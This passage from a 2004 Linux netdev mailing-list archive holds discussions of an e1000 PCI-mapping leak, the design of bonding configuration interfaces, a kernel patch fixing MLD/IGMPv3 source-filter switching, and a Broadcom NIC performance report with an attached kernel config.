ppc64 machine with 8 interfaces, each running at or near full load. NAPI is enabled, frame size is 1500. We're seeing RX errors on eth0, which is the only interface that is leaking TCE entries (pci mappings). The system is also running at full cpu load, with each interface having it's irq bound to an individual CPU. It's always the interface being bound to cpu0 that's showing errors (could possibly be because of rx ring overruns?). With the previous version (5.1.11), we were still seeing the RX errors, but no TCE leaks. As far as I can tell, the driver is leaking less than one mapping per error, since there are more RX errors than total allocated TCE entries for the interface. Number of errors after a run is in the range of 15-20k, while number of used entries are in the range of 3-4k. Has anyone else seen anything like this? I noticed there's a slightly newer e1000 driver available, but I saw no changes that seemed relevant. -Olof Olof Johansson Office: 4F005/905 Linux on Power Development IBM Systems Group Email: olof@austin.ibm.com Phone: 512-838-9858 All opinions are my own and not those of IBM From jgarzik@pobox.com Mon Jan 12 09:01:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 09:01:34 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CH1K6H007734 for ; Mon, 12 Jan 2004 09:01:21 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:34259 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AfUVW-0005UA-FS; Sun, 11 Jan 2004 01:35:14 +0000 Message-ID: <4000A838.5040808@pobox.com> Date: Sat, 10 Jan 2004 20:34:48 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Amir Noam CC: Jay Vosburgh , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces References: <200401081819.54484.amir.noam@intel.com> In-Reply-To: <200401081819.54484.amir.noam@intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2358 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1262 Lines: 32 Amir Noam wrote: > The following patch sets provide basic support for future bonding > operations (specifically for dynamic configuration of bonding > interfaces). > > This is done by adding two new bonding ioctls: one for deviceless > commands (an ioctl hook) and one for device oriented commands. Like > ethtool, the first u32 value in the data structure will indicate the > exact sub-command to be executed. > > The sets are against the latest netdev-2.4 and net-drivers-2.5-exp > trees. I don't disagree with the overall goal of these patches, but I think we might need to pause a bit, and consider how best to configure, add, and remove bonding interfaces, if we are coming up with a new interface. For configuration tasks that occur outside the scope of a single bonding interface (i.e. a single struct net_device), you need a separate entity from a socket ioctl. It's not ideal at all to configure N objects using a special ioctl ... when opening one of said objects :) I would suggest a simple character device (misc_register), and let the userland application configure settings unrelated to a single object. For a configuring state related to a _single_ bonding interface (i.e. a single net_device), socket ioctls are OK. Jeff From greearb@candelatech.com Mon Jan 12 09:24:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 09:24:14 -0800 (PST) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CHO16H008681 for ; Mon, 12 Jan 2004 09:24:01 -0800 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by ns1.wanfear.com (8.12.10/8.12.8) with ESMTP id i0CHNp9v029225; Mon, 12 Jan 2004 09:23:51 -0800 Message-ID: <4002D826.3080409@candelatech.com> Date: Mon, 12 Jan 2004 09:23:50 -0800 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031007 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jeff Garzik CC: Amir Noam , Jay Vosburgh , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces References: <200401081819.54484.amir.noam@intel.com> <4000A838.5040808@pobox.com> In-Reply-To: <4000A838.5040808@pobox.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2359 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 2443 Lines: 60 Jeff Garzik wrote: > Amir Noam wrote: > >> The following patch sets provide basic support for future bonding >> operations (specifically for dynamic configuration of bonding >> interfaces). >> >> This is done by adding two new bonding ioctls: one for deviceless >> commands (an ioctl hook) and one for device oriented commands. Like >> ethtool, the first u32 value in the data structure will indicate the >> exact sub-command to be executed. >> >> The sets are against the latest netdev-2.4 and net-drivers-2.5-exp trees. > > > > I don't disagree with the overall goal of these patches, but I think we > might need to pause a bit, and consider how best to configure, add, and > remove bonding interfaces, if we are coming up with a new interface. > > For configuration tasks that occur outside the scope of a single bonding > interface (i.e. a single struct net_device), you need a separate entity > from a socket ioctl. It's not ideal at all to configure N objects using > a special ioctl ... when opening one of said objects :) Why is it not ideal? Are ioctl calls significantly less expensive than accessing a character device? It does not seem easier to program on either side, and wouldn't users have to do a mknod or something like that to get their char device to appear? I would not look forward to dealing with framing issues in the kernel either, and for 'reading' information, it seems there could be some tricky code dealing with queueing up the message for user-space and then *hoping* that they did a 'read' before you had to clean up the message and/or over-write it. > I would suggest a simple character device (misc_register), and let the > userland application configure settings unrelated to a single object. > > For a configuring state related to a _single_ bonding interface (i.e. a > single net_device), socket ioctls are OK. From a user-space coding perspective, it would be easier to just have one socket to do all the ioctl calls. I really don't see even an aesthetic reason to artificially restrict an socket ioctl to only function on a single thing. Please don't tell me you also want to change ethtool to not use multiplexed ioctl calls as it does now? (I like the ethtool interface very much and in fact, if I were starting over, I'd implement VLAN ioctls as an ethtool command...) Ben -- Ben Greear Candela Technologies Inc http://www.candelatech.com From scott.feldman@intel.com Mon Jan 12 09:43:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 09:43:59 -0800 (PST) Received: from hermes.jf.intel.com (fmr05.intel.com [134.134.136.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CHhh6H014953 for ; Mon, 12 Jan 2004 09:43:44 -0800 Received: from petasus.jf.intel.com (petasus.jf.intel.com [10.7.209.6]) by hermes.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0CHjYBX024462; Mon, 12 Jan 2004 17:45:35 GMT Received: from orsmsxvs041.jf.intel.com (orsmsxvs041.jf.intel.com [192.168.65.54]) by petasus.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0CHgJfZ001057; Mon, 12 Jan 2004 17:44:05 GMT Received: from orsmsx332.amr.corp.intel.com ([192.168.65.60]) by orsmsxvs041.jf.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004011209432416354 ; Mon, 12 Jan 2004 09:43:24 -0800 Received: from orsmsx402.amr.corp.intel.com ([192.168.65.208]) by orsmsx332.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Mon, 12 Jan 2004 09:43:24 -0800 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: RE: [2.4] e1000 leaking pci mappings on rx errors? Date: Mon, 12 Jan 2004 09:43:23 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [2.4] e1000 leaking pci mappings on rx errors? Thread-Index: AcPZKyNympxkZGUTTKWQk24rh4KF4AAB3txA From: "Feldman, Scott" To: , Cc: "cramerj" X-OriginalArrivalTime: 12 Jan 2004 17:43:24.0087 (UTC) FILETIME=[93B04C70:01C3D933] X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i0CHhh6H014953 X-archive-position: 2360 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 359 Lines: 10 > We have a machine here (running a RHEL 2.4.21-based kernel), > that started showing leakage of PCI mappings when the driver > was upgraded from 5.1.11 to 5.2.20. Olof, please try 5.1.13 and 5.2.16 from sf.net/projects/e1000 to help narrow the diff. I'm not seeing anything obvious in the diff between 5.1.11 and 5.2.20 that would explain this. -scott From dlstevens@us.ibm.com Mon Jan 12 10:55:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 10:55:17 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CIsu6H025328 for ; Mon, 12 Jan 2004 10:55:03 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0CIsmrE361208; Mon, 12 Jan 2004 13:54:48 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0CIslqY124678; Mon, 12 Jan 2004 11:54:47 -0700 Importance: Normal Sensitivity: Subject: Re: MLD problems (again) [PATCH] To: Takashi Hibi Cc: netdev@oss.sgi.com, davem@redhat.com X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: David Stevens Date: Mon, 12 Jan 2004 10:54:43 -0800 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/12/2004 11:54:47 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE48ADFF4CF588f9e8a93df938690918c07BBE48ADFF4CF58" Content-Disposition: inline X-archive-position: 2361 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 7026 Lines: 179 --0__=07BBE48ADFF4CF588f9e8a93df938690918c07BBE48ADFF4CF58 Content-type: text/plain; charset=US-ASCII Takashi, The patch I sent was for 2.6.1, but it should also apply to 2.4 line kernels and fix the problem. If you have problems getting it to apply in 2.4, let me know what version and I can provide you a patch specific for that kernel. +-DLS Takashi Hibi on 01/12/2004 03:04:48 AM To: David Stevens/Beaverton/IBM@IBMUS cc: netdev@oss.sgi.com, davem@redhat.com Subject: Re: MLD problems (again) [PATCH] David, Thank you for the patch. But at least it doesn't solve the problem for 2.4 line kernel. I will also test with 2.6.1 later. Regards, Takashi Hibi > > > > > Takashi, > I believe the patch below will fix the problem you > had with MCAST_JOIN_SOURCE_GROUP not sending a > report. There was a typo in the source filter switching that did > two deletes, rather than an delete and an add. > > Dave, > Although IGMPv3 didn't have any problems, this patch > also re-arranges the order of the filter changes. I think it's cleaner > to add the new one first and then delete the old one, rather than > having a small window with no filter set. So, this is a bug fix for MLD > and a code clean-up for IGMPv3. > This bug and patch should also apply to the 2.4 line. > > +-DLS > > [included in-line for viewing and as an attachment for unmangled > whitespace] > > --- linux-2.6.1/net/ipv6/mcast.c 2004-01-08 22:59:56.000000000 -0800 > +++ linux-2.6.1F1/net/ipv6/mcast.c 2004-01-11 21:06:05.000000000 -0800 > @@ -372,9 +372,9 @@ > goto done; > } else if (pmc->sfmode != omode) { > /* allow mode switches for empty-set filters */ > + ip6_mc_add_src(idev, group, omode, 0, 0, 0); > ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0); > pmc->sfmode = omode; > - ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0); > } > > psl = pmc->sflist; > --- linux-2.6.1/net/ipv4/igmp.c 2004-01-08 23:00:12.000000000 -0800 > +++ linux-2.6.1F1/net/ipv4/igmp.c 2004-01-11 21:27:41.000000000 -0800 > @@ -1749,11 +1749,10 @@ > goto done; > } else if (pmc->sfmode != omode) { > /* allow mode switches for empty-set filters */ > + ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, omode, 0, 0, 0); > ip_mc_del_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0, > 0, 0); > pmc->sfmode = omode; > - ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0, > - 0, 0); > } > > psl = pmc->sflist; > > (See attached file: 2.6.1MLD.patch) --0__=07BBE48ADFF4CF588f9e8a93df938690918c07BBE48ADFF4CF58 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Takashi,
The patch I sent was for 2.6.1, but it should also apply to
2.4 line kernels and fix the problem. If you have problems getting
it to apply in 2.4, let me know what version and I can provide you
a patch specific for that kernel.

+-DLS

To: David Stevens/Beaverton/IBM@IBMUS
cc: netdev@oss.sgi.com, davem@redhat.com
Subject: Re: MLD problems (again) [PATCH]



David,

Thank you for the patch.
But at least it doesn't solve the problem for 2.4 line kernel.
I will also test with 2.6.1 later.

Regards,
Takashi Hibi

>
>
>
>
> Takashi,
>       I believe the patch below will fix the problem you
> had with MCAST_JOIN_SOURCE_GROUP not sending a
> report. There was a typo in the source filter switching that did
> two deletes, rather than an delete and an add.
>
> Dave,
>       Although IGMPv3 didn't have any problems, this patch
> also re-arranges the order of the filter changes. I think it's cleaner
> to add the new one first and then delete the old one, rather than
> having a small window with no filter set. So, this is a bug fix for MLD
> and a code clean-up for IGMPv3.
>       This bug and patch should also apply to the 2.4 line.
>
>                         +-DLS
>
> [included in-line for viewing and as an attachment for unmangled
>       whitespace]
>
> --- linux-2.6.1/net/ipv6/mcast.c    2004-01-08 22:59:56.000000000 -0800
> +++ linux-2.6.1F1/net/ipv6/mcast.c  2004-01-11 21:06:05.000000000 -0800
> @@ -372,9 +372,9 @@
>                   goto done;
>       } else if (pmc->sfmode != omode) {
>             /* allow mode switches for empty-set filters */
> +           ip6_mc_add_src(idev, group, omode, 0, 0, 0);
>             ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0);
>             pmc->sfmode = omode;
> -           ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0);
>       }
>
>       psl = pmc->sflist;
> --- linux-2.6.1/net/ipv4/igmp.c     2004-01-08 23:00:12.000000000 -0800
> +++ linux-2.6.1F1/net/ipv4/igmp.c   2004-01-11 21:27:41.000000000 -0800
> @@ -1749,11 +1749,10 @@
>                   goto done;
>       } else if (pmc->sfmode != omode) {
>             /* allow mode switches for empty-set filters */
> +           ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, omode, 0, 0, 0);
>             ip_mc_del_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0,
>                   0, 0);
>             pmc->sfmode = omode;
> -           ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0,
> -                 0, 0);
>       }
>
>       psl = pmc->sflist;
>
> (See attached file: 2.6.1MLD.patch)




--0__=07BBE48ADFF4CF588f9e8a93df938690918c07BBE48ADFF4CF58-- From linux-netdev@gmane.org Mon Jan 12 12:00:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 12:01:06 -0800 (PST) Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CK0c6H027857 for ; Mon, 12 Jan 2004 12:00:41 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1Ag8Em-0004w5-00 for ; Mon, 12 Jan 2004 21:00:36 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: netdev@oss.sgi.com Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1Ag8Dl-0004uv-00 for ; Mon, 12 Jan 2004 20:59:33 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1Ag8Dl-0000Cd-00 for ; Mon, 12 Jan 2004 20:59:33 +0100 From: Alessandro Bono Subject: Broadcom NetXtreme BCM5788 severe performance problem Date: Mon, 12 Jan 2004 20:59:52 +0100 Message-ID: Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="nextPart1181838.TEsOKFeMFJ" Content-Transfer-Encoding: 7Bit X-Complaints-To: usenet@sea.gmane.org User-Agent: KNode/0.7.2 X-archive-position: 2362 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sandro@cantina.dyndns.org Precedence: bulk X-list: netdev Content-Length: 60817 Lines: 2075 --nextPart1181838.TEsOKFeMFJ Content-Type: text/plain; charset=iso-8859-15 Content-Transfer-Encoding: 8Bit Hi I have an Msi mobo with an integrated Broadcom NetXtreme gigabit ehternet that has big performance problem i tried 2.4.x with tg3 and with broadcom driver and 2.6.x with the same result a simple ftp transfer cause a 70% cpu usage and 6Mb/s, same hardware with a cheap 8139too can transfer 10-11 Mb/s without notable cpu usage this performance with lftp, with konqueror 1-2Mb and 100% cpu usage lan is 100Mbit full duplex i tried also to activate tso with ethtool and disactivate napi (with patch posted on this ml) but without any luck any hint? thanks -Ale --nextPart1181838.TEsOKFeMFJ Content-Type: text/plain; name=".config" Content-Transfer-Encoding: 8Bit Content-Disposition: attachment; filename=".config" # # Automatically generated make config: don't edit # CONFIG_X86=y CONFIG_MMU=y CONFIG_UID16=y CONFIG_GENERIC_ISA_DMA=y # # Code maturity level options # CONFIG_EXPERIMENTAL=y # CONFIG_CLEAN_COMPILE is not set # CONFIG_STANDALONE is not set CONFIG_BROKEN=y CONFIG_BROKEN_ON_SMP=y # # General setup # CONFIG_SWAP=y CONFIG_SYSVIPC=y CONFIG_BSD_PROCESS_ACCT=y CONFIG_SYSCTL=y CONFIG_LOG_BUF_SHIFT=14 CONFIG_IKCONFIG=y CONFIG_IKCONFIG_PROC=y # CONFIG_EMBEDDED is not set CONFIG_KALLSYMS=y CONFIG_FUTEX=y CONFIG_EPOLL=y CONFIG_IOSCHED_NOOP=y CONFIG_IOSCHED_AS=y CONFIG_IOSCHED_DEADLINE=y CONFIG_IOSCHED_CFQ=y # CONFIG_CC_OPTIMIZE_FOR_SIZE is not set # # Loadable module support # CONFIG_MODULES=y CONFIG_MODULE_UNLOAD=y # CONFIG_MODULE_FORCE_UNLOAD is not set CONFIG_OBSOLETE_MODPARM=y # CONFIG_MODVERSIONS is not set CONFIG_KMOD=y # # Processor type and features # CONFIG_X86_PC=y # CONFIG_X86_VOYAGER is not set # CONFIG_X86_NUMAQ is not set # CONFIG_X86_SUMMIT is not set # CONFIG_X86_BIGSMP is not set # CONFIG_X86_VISWS is not set # CONFIG_X86_GENERICARCH is not set # CONFIG_X86_ES7000 is not set # CONFIG_M386 is not set # CONFIG_M486 is not set # CONFIG_M586 is not set # CONFIG_M586TSC is not set # CONFIG_M586MMX is not set # CONFIG_M686 is not set # CONFIG_MPENTIUMII is not set # CONFIG_MPENTIUMIII is not set # CONFIG_MPENTIUM4 is not set # CONFIG_MK6 is not set CONFIG_MK7=y # CONFIG_MK8 is not set # CONFIG_MELAN is not set # CONFIG_MCRUSOE is not set # CONFIG_MWINCHIPC6 is not set # CONFIG_MWINCHIP2 is not set # CONFIG_MWINCHIP3D is not set # CONFIG_MCYRIXIII is not set # CONFIG_MVIAC3_2 is not set # CONFIG_X86_GENERIC is not set CONFIG_X86_CMPXCHG=y CONFIG_X86_XADD=y CONFIG_X86_L1_CACHE_SHIFT=6 CONFIG_RWSEM_XCHGADD_ALGORITHM=y CONFIG_X86_WP_WORKS_OK=y CONFIG_X86_INVLPG=y CONFIG_X86_BSWAP=y CONFIG_X86_POPAD_OK=y CONFIG_X86_GOOD_APIC=y CONFIG_X86_INTEL_USERCOPY=y CONFIG_X86_USE_PPRO_CHECKSUM=y CONFIG_X86_USE_3DNOW=y # CONFIG_X86_4G is not set # CONFIG_X86_SWITCH_PAGETABLES is not set # CONFIG_X86_4G_VM_LAYOUT is not set # CONFIG_X86_UACCESS_INDIRECT is not set # CONFIG_X86_HIGH_ENTRY is not set CONFIG_HPET_TIMER=y # CONFIG_HPET_EMULATE_RTC is not set # CONFIG_SMP is not set CONFIG_PREEMPT=y CONFIG_X86_UP_APIC=y CONFIG_X86_UP_IOAPIC=y CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y CONFIG_X86_TSC=y CONFIG_X86_MCE=y CONFIG_X86_MCE_NONFATAL=y # CONFIG_X86_MCE_P4THERMAL is not set # CONFIG_TOSHIBA is not set # CONFIG_I8K is not set # CONFIG_MICROCODE is not set CONFIG_X86_MSR=m CONFIG_X86_CPUID=m CONFIG_EDD=m CONFIG_NOHIGHMEM=y # CONFIG_HIGHMEM4G is not set # CONFIG_HIGHMEM64G is not set # CONFIG_MATH_EMULATION is not set CONFIG_MTRR=y # CONFIG_EFI is not set CONFIG_HAVE_DEC_LOCK=y # # Power management options (ACPI, APM) # CONFIG_PM=y CONFIG_SOFTWARE_SUSPEND=y CONFIG_PM_DISK=y CONFIG_PM_DISK_PARTITION="" # # ACPI (Advanced Configuration and Power Interface) Support # CONFIG_ACPI=y CONFIG_ACPI_BOOT=y CONFIG_ACPI_INTERPRETER=y CONFIG_ACPI_SLEEP=y CONFIG_ACPI_SLEEP_PROC_FS=y # CONFIG_ACPI_AC is not set # CONFIG_ACPI_BATTERY is not set CONFIG_ACPI_BUTTON=y # CONFIG_ACPI_FAN is not set CONFIG_ACPI_PROCESSOR=y # CONFIG_ACPI_THERMAL is not set # CONFIG_ACPI_ASUS is not set # CONFIG_ACPI_TOSHIBA is not set # CONFIG_ACPI_DEBUG is not set CONFIG_ACPI_BUS=y CONFIG_ACPI_EC=y CONFIG_ACPI_POWER=y CONFIG_ACPI_PCI=y CONFIG_ACPI_SYSTEM=y # CONFIG_ACPI_RELAXED_AML is not set CONFIG_X86_PM_TIMER=y # # APM (Advanced Power Management) BIOS Support # # CONFIG_APM is not set # # CPU Frequency scaling # # CONFIG_CPU_FREQ is not set # # Bus options (PCI, PCMCIA, EISA, MCA, ISA) # CONFIG_PCI=y # CONFIG_PCI_GOBIOS is not set # CONFIG_PCI_GODIRECT is not set CONFIG_PCI_GOANY=y CONFIG_PCI_BIOS=y CONFIG_PCI_DIRECT=y CONFIG_PCI_USE_VECTOR=y CONFIG_PCI_LEGACY_PROC=y CONFIG_PCI_NAMES=y # CONFIG_ISA is not set # CONFIG_MCA is not set # CONFIG_SCx200 is not set CONFIG_HOTPLUG=y # # PCMCIA/CardBus support # # CONFIG_PCMCIA is not set # # PCI Hotplug Support # # CONFIG_HOTPLUG_PCI is not set # # Executable file formats # CONFIG_BINFMT_ELF=y CONFIG_BINFMT_AOUT=m CONFIG_BINFMT_MISC=m # # Device Drivers # # # Generic Driver Options # CONFIG_FW_LOADER=m # # Memory Technology Devices (MTD) # # CONFIG_MTD is not set # # Parallel port support # CONFIG_PARPORT=m CONFIG_PARPORT_PC=m CONFIG_PARPORT_PC_CML1=m # CONFIG_PARPORT_SERIAL is not set # CONFIG_PARPORT_PC_FIFO is not set # CONFIG_PARPORT_PC_SUPERIO is not set # CONFIG_PARPORT_OTHER is not set CONFIG_PARPORT_1284=y # # Plug and Play support # CONFIG_PNP=y # CONFIG_PNP_DEBUG is not set # # Protocols # # CONFIG_ISAPNP is not set CONFIG_PNPBIOS=y CONFIG_PNPBIOS_PROC_FS=y # # Block devices # CONFIG_BLK_DEV_FD=m # CONFIG_PARIDE is not set # CONFIG_BLK_CPQ_DA is not set # CONFIG_BLK_CPQ_CISS_DA is not set # CONFIG_BLK_DEV_DAC960 is not set # CONFIG_BLK_DEV_UMEM is not set CONFIG_BLK_DEV_LOOP=m CONFIG_BLK_DEV_CRYPTOLOOP=m CONFIG_BLK_DEV_NBD=m CONFIG_BLK_DEV_RAM=m CONFIG_BLK_DEV_RAM_SIZE=4096 CONFIG_BLK_DEV_INITRD=y # CONFIG_LBD is not set # # ATA/ATAPI/MFM/RLL support # CONFIG_IDE=m CONFIG_BLK_DEV_IDE=m # # Please see Documentation/ide.txt for help/info on IDE drives # # CONFIG_BLK_DEV_HD_IDE is not set CONFIG_BLK_DEV_IDEDISK=m # CONFIG_IDEDISK_MULTI_MODE is not set # CONFIG_IDEDISK_STROKE is not set CONFIG_BLK_DEV_IDECD=m # CONFIG_BLK_DEV_IDETAPE is not set # CONFIG_BLK_DEV_IDEFLOPPY is not set # CONFIG_BLK_DEV_IDESCSI is not set # CONFIG_IDE_TASK_IOCTL is not set CONFIG_IDE_TASKFILE_IO=y # # IDE chipset support/bugfixes # # CONFIG_BLK_DEV_CMD640 is not set # CONFIG_BLK_DEV_IDEPNP is not set CONFIG_BLK_DEV_IDEPCI=y CONFIG_IDEPCI_SHARE_IRQ=y # CONFIG_BLK_DEV_OFFBOARD is not set CONFIG_BLK_DEV_GENERIC=y # CONFIG_BLK_DEV_OPTI621 is not set # CONFIG_BLK_DEV_RZ1000 is not set CONFIG_BLK_DEV_IDEDMA_PCI=y # CONFIG_BLK_DEV_IDEDMA_FORCED is not set CONFIG_IDEDMA_PCI_AUTO=y # CONFIG_IDEDMA_ONLYDISK is not set # CONFIG_IDEDMA_PCI_WIP is not set CONFIG_BLK_DEV_ADMA=y # CONFIG_BLK_DEV_AEC62XX is not set # CONFIG_BLK_DEV_ALI15X3 is not set # CONFIG_BLK_DEV_AMD74XX is not set # CONFIG_BLK_DEV_CMD64X is not set # CONFIG_BLK_DEV_TRIFLEX is not set # CONFIG_BLK_DEV_CY82C693 is not set # CONFIG_BLK_DEV_CS5520 is not set # CONFIG_BLK_DEV_CS5530 is not set # CONFIG_BLK_DEV_HPT34X is not set # CONFIG_BLK_DEV_HPT366 is not set # CONFIG_BLK_DEV_SC1200 is not set # CONFIG_BLK_DEV_PIIX is not set # CONFIG_BLK_DEV_NS87415 is not set # CONFIG_BLK_DEV_PDC202XX_OLD is not set # CONFIG_BLK_DEV_PDC202XX_NEW is not set # CONFIG_BLK_DEV_SVWKS is not set # CONFIG_BLK_DEV_SIIMAGE is not set # CONFIG_BLK_DEV_SIS5513 is not set # CONFIG_BLK_DEV_SLC90E66 is not set # CONFIG_BLK_DEV_TRM290 is not set CONFIG_BLK_DEV_VIA82CXXX=m CONFIG_BLK_DEV_IDEDMA=y # CONFIG_IDEDMA_IVB is not set CONFIG_IDEDMA_AUTO=y # CONFIG_DMA_NONPCI is not set # CONFIG_BLK_DEV_HD is not set # # SCSI device support # CONFIG_SCSI=y CONFIG_SCSI_PROC_FS=y # # SCSI support type (disk, tape, CD-ROM) # CONFIG_BLK_DEV_SD=y CONFIG_MAX_SD_DISKS=256 # CONFIG_CHR_DEV_ST is not set # CONFIG_CHR_DEV_OSST is not set CONFIG_BLK_DEV_SR=m # CONFIG_BLK_DEV_SR_VENDOR is not set CONFIG_CHR_DEV_SG=m # # Some SCSI devices (e.g. CD jukebox) support multiple LUNs # # CONFIG_SCSI_MULTI_LUN is not set # CONFIG_SCSI_REPORT_LUNS is not set # CONFIG_SCSI_CONSTANTS is not set # CONFIG_SCSI_LOGGING is not set # # SCSI low-level drivers # # CONFIG_BLK_DEV_3W_XXXX_RAID is not set # CONFIG_SCSI_ACARD is not set # CONFIG_SCSI_AACRAID is not set # CONFIG_SCSI_AIC7XXX is not set # CONFIG_SCSI_AIC7XXX_OLD is not set # CONFIG_SCSI_AIC79XX is not set # CONFIG_SCSI_DPT_I2O is not set # CONFIG_SCSI_ADVANSYS is not set # CONFIG_SCSI_AM53C974 is not set # CONFIG_SCSI_MEGARAID is not set CONFIG_SCSI_SATA=y # CONFIG_SCSI_SATA_SVW is not set # CONFIG_SCSI_ATA_PIIX is not set # CONFIG_SCSI_SATA_PROMISE is not set # CONFIG_SCSI_SATA_SIL is not set CONFIG_SCSI_SATA_VIA=y # CONFIG_SCSI_BUSLOGIC is not set # CONFIG_SCSI_CPQFCTS is not set # CONFIG_SCSI_DMX3191D is not set # CONFIG_SCSI_EATA is not set # CONFIG_SCSI_EATA_PIO is not set # CONFIG_SCSI_FUTURE_DOMAIN is not set # CONFIG_SCSI_GDTH is not set # CONFIG_SCSI_IPS is not set # CONFIG_SCSI_INITIO is not set # CONFIG_SCSI_INIA100 is not set # CONFIG_SCSI_PPA is not set # CONFIG_SCSI_IMM is not set # CONFIG_SCSI_SYM53C8XX_2 is not set # CONFIG_SCSI_PCI2000 is not set # CONFIG_SCSI_PCI2220I is not set # CONFIG_SCSI_QLOGIC_ISP is not set # CONFIG_SCSI_QLOGIC_FC is not set # CONFIG_SCSI_QLOGIC_1280 is not set # CONFIG_SCSI_DC395x is not set # CONFIG_SCSI_DC390T is not set # CONFIG_SCSI_NSP32 is not set # CONFIG_SCSI_DEBUG is not set # # Multi-device support (RAID and LVM) # CONFIG_MD=y CONFIG_BLK_DEV_MD=m CONFIG_MD_LINEAR=m CONFIG_MD_RAID0=m CONFIG_MD_RAID1=m CONFIG_MD_RAID5=m CONFIG_MD_MULTIPATH=m CONFIG_BLK_DEV_DM=m CONFIG_DM_IOCTL_V4=y # # Fusion MPT device support # # CONFIG_FUSION is not set # # IEEE 1394 (FireWire) support (EXPERIMENTAL) # CONFIG_IEEE1394=m # # Subsystem Options # # CONFIG_IEEE1394_VERBOSEDEBUG is not set # CONFIG_IEEE1394_OUI_DB is not set # # Device Drivers # 